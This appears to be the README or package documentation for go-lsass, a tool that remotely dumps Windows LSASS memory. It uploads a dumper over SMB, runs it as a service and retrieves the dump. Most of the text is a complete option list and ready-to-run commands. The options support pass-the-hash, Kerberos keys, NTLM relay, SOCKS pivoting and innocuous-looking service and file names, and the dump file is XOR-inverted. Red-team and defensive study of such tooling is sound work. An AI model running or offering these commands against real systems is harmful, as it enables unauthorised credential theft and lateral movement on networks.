Package go-lsass is a tool built to dump the memory of the LSASS process remotely by uploading a local LSASS dumper, executing it as a service and then retrieve the dump file using SMB. It is built on top of the library go-smb and is designed to primarily work with the LSASS dumper.
NOTE that the LSASS dumper utility is not included in this repo but has to be downloaded, compiled and then included by the --dumper flag or placed in the current directory with a name of pdumpsvc.exe. Also note that the dumpfile when created by the tool processdumper will be inverted, e.g., every byte will be XOR:ed with 0xFF.
Usage: ./go-lsass [options]
options:
--host Hostname or ip address of remote server. Must be hostname when using Kerberos
-P, --port SMB Port (default 445)
-d, --domain Domain name to use for login
-u, --user Username
-p, --pass Password
-n, --no-pass Disable password prompt and send no credentials
--hash Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
--dc-ip Optionally specify ip of KDC when using Kerberos authentication
--target-ip Optionally specify ip of target when using Kerberos authentication
--aes-key Use a hex encoded AES128/256 key for Kerberos authentication
-t, --timeout Dial timeout in seconds (default 5)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
--cleanup Perform a cleanup of service binary, service, and dumpfile
--dumper <path> Path to local lsass dump utility (default pdumpsvc.exe)
--service <name> Name of service that will be created to run the lsass dumper (default MiscSVC)
--service-filename Name of service binary (default misc.exe)
--service-dir Remote path on C: to store service binary (default C:\windows\)
--dumpfile Name of lsass dump file written to disk (default misc.log)
--dumpdir Remote path on C: to temporarily store the lsass dump (default C:\windows\)
--output Path to where to store the lsass dump locally (default lsass.dmp)
--modify Will modify the service if it already exists. EXPERIMENTAL (default false)
--restore Restores a modified service config when using --cleanup flag EXPERIMENTAL (default false)
--backup-file File to store previous service config in or restore from
when modifying an existing service (default svc-backup.json)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-v, --version Show version
The default dumper tested with this tool is
https://github.com/jfjallid/processdumper. It should be downloaded and compiled
with make service
to create a PE32 file that can be executed as a Windows
service.
Support for other LSASS dumper binaries is limited to binaries that can be executed as a Windows service and which accepts two cmdline arguments: "lsass.exe" and location of where to store the dumpfile which is a combination of the two arguments --dumpdir and --dumpfile. With default settings, the two arguments to the service binary are: "lsass.exe" and "C:\windows\misc.log"
./go-lsass --host server001 --local --user Administrator --pass adminPass123 --dumper pdumpsvc.exe
Dump LSASS on a domain joined machine using a domain user with a custom directory for the service binary and dump file
./go-lsass --host server001 -d test.local --user testuser --pass secretPass123 --service-dir C:\\windows\\temp\\ --dumpdir C:\\windows\\temp\\
Note that if any of the following custom flags were used during deployment, they are also required during cleanup:
- --service
- --service-filename
- --service-dir
- --dumpfile
- --dumpdir
./go-lsass --host server001 -d test.local --user testuser --pass secretPass123 --cleanup
When using the --modify
flag, if the service exists it will be overwritten and used for the dump.
The service's config will be written to disk and later restored by the automatic cleanup.
If manual cleanup is performed, use the --restore
flag to replace the service config instead of
deleting the service which is the default behavior.
Also note that the replacement and restoration of a service's configuration is not a full restoration as go-smb currently does not support modification of the Dependencies, LoadOrderGroup, and TagId settings. So if those are in use by the modified service, their values might get lost.